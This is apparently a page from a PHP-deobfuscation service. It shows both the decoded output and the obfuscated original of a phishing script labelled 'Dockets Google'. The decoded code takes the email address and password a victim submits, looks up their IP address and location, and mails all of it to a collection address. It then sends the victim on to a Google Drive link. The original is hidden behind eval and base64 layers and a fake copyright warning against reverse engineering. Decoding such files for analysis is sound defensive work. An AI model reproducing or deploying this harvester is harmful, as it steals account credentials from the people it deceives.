Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* This file is protected by copyright law and provided under license. Reverse engin..
Decoded Output download
require_once('geoplugin.class.php');
$IIIIIIIIIIII = new geoPlugin();
$IIIIIIIIIIII->locate();
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$email= '[email protected]';
$ip = getenv('REMOTE_ADDR');
$message = "==================+[ Personal Info - Dockets Google ]+==================
";
$message .= 'Email : '.$_POST['Email']."
";
$message .= 'Password : '.$_POST['Passwd']."
";
$message .= "============= [ Ip & Hostname Info ] =============
";
$message .= 'Client IP : '.$ip."
";
$message .= "--------------------------------------------
";
$message .= "City: {$IIIIIIIIIIII->city}
";
$message .= "Region: {$IIIIIIIIIIII->region}
";
$message .= "Country Name: {$IIIIIIIIIIII->countryName}
";
$message .= "Country Code: {$IIIIIIIIIIII->countryCode}
";
$message .= "=============+ [Dockets Google] +=============
";
$subject = 'Dockets Google';
mail($email,$subject,$message);
header('Location: https://drive.google.com/file/d/0BwQW11QrD3RPTE1xZmp2dzJjem8/view');Did this file decode correctly?
Original Code
<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x61c;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3ZCk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnbG9ja2VkYnlydnBhQkFQT0NWUllERUtMRmZHZ0hoSWlKak1tTm5RcVNzVHRVdVd3WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~Dve9OBkoOBkoOBk1zhyviHQEXgbdmfRJqL19bRDxdL18qacrqrM4NY09OBe8XYzlXaMrqrMXNV0xOCNdBD1UqY09OBklXBe8Xv10SvehBY0voYdAgv09OYzlXBklXYZhhpcVyYe9cCDxYKZhOBe8XBe9OBklqLRJNYzlXBe8XYzlXacVOYzlXYzlXBklsachUg2AtfKVMILv2HbdcCEoOC1fRKDVdR0xbfNhqRbjvGDsTYK1PgndxD3ADhdE1E3hFIds6BkeZBzC1AmH4PRUwORHUv0dcC0VdVNhrRDsaYe1PY1oVDnADEEfLKdnGFKvmfbEQf2jsGQuUgK5wHydZH3V1hqh4ILSXBYrzAkD2AzJ5pZ8qpRNsP2fmgb9zfRJNYzlXBe8XYzlXpYunhQdUpcVOYzlXYzlXYzlsPX==rl0pHQExhKnZfE9wgQAnpchqfK9XgyEqGK4WF2xjH3BWHbjXvZN7kCSNRDnvRDnvRDnvRDnvrk0JgQE3rbhng1oUhKhsgMJsPX0pvenvRDnvRDnvRDnvRR0+gb9mFLVnpcN7kCssfMlSrKEuHyV5pcViD0ERENERKZhrEdVCL0ABRDEPEd9vDchhpRNJIX0pvbnXrk0Jvd9YVEvKVEvgv0jDEdoiC0xvVD5DL0nCv107kCs9fKxzfKnQrcJjfK1XhyNSvd9YVEvKVEvgv0jDEdoiKd9bY1vLCEveVDViVN9Rv10spRo7kCSNGLlJORlNL1AdDnfdDnUqRdVDDd9FL0fODnhoDNVdVd9bY1rqLYUAcq1ngyAnryUAcMVsHcl9rcViD0ERENERKZhRVD1OEeEiCDVeDMhhPX0piC0pvbEuFKnUORlqfbEWf2jjGYjlf21jGKXWF29uvzUAcMVsHcl9rbhnhbEWhMJqDNEAY1VdL0deVdrqpYUAcMVufLAzFKhnrcl9rcr9OY09OY09OY09OY09OY09OY0tKZoCfLvzg25jgcovgQfwrc0JVb9mG2E0HZoyg29qgbDJLRU9OY09OY09OY09OY09OY09OY1HgMr7kCSNgKEzH2dqfRlWORlqVK1jGKXJPMlqaMViDe9YEdUqVK1jGKXqLR4MLb4MPX0pvb1nH3Ajf2DJam0Jv1ojH3A3g3vNrkSJvZ4NL1oOD1Vgv1ojH3A3fchhaMvHgMr7kCSNgKEzH2dqfRlWORlMOY09OY09OY09OY09ORogrenXrcFJRb9zhb5jgKDJRK5QgZohrk09OY09OY09OY09OY1HgMr7kCSNgKEzH2dqfRlWORlqC2xsfK50renCrkSJvZ4NGLlWrnxWrmUAcMVufLAzFKhnrc49rcruaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaR0uaExWrmUAcMVufLAzFKhnrc49rlNMC2n0IYSJIZVvRDnvRDnvRDnvRDNuOQAshyn9Lb4MPX0pvb1nH3Ajf2DJam0JcRvRfKhsg246ryUNRDnvRDnvRDnvRDnvaY5ZfKhsg259Lb4MPX0pvb1nH3Ajf2DJam0JcRvkg3EWhyv5re5jgKD6ryUNRDnvRDnvRDnvRDnvaY5mg3EWhyv5YQdufL1HgMr7kCSNgKEzH2dqfRlWORlvrNAwhK50HqNJC29NfYSJIZVvRDnvRDnvRDnvRDNuOQAwhK50Hqnkg2VniExWrmUAcMVufLAzFKhnrc49rcr9OY09OY09OY09OY09pZogVb9mG2E0HZoyg29qgbEhrcU9OY09OY09OY09OY09Lb4MPX0pvyA1FQsnF3CJORlqVb9mG2E0HZoyg29qgbDqPX0pgKdsgcJNfK1jGKXUvyA1FQsnF3CUvb1nH3Ajf2DsPX0pGbEjfbEZpchBg2AjhbnwgmSJGyV0HyB6aZ9NHQn2fR5qg29qgbDWF29ua2fsgbDwfc8XCqhVEzexDLveB1vCEeDxIdsuHkvNINsTfK04a3fsfLHqpYU=alVnRPIqFunction Calls
| fopen | 1 |
| fread | 3 |
| strtr | 2 |
| fclose | 1 |
| urldecode | 1 |
| str_replace | 1 |
| base64_decode | 3 |
Stats
| MD5 | 031deebfcef4b1e9f5af6e6176ae9323 |
| Eval Count | 3 |
| Decode Time | 158 ms |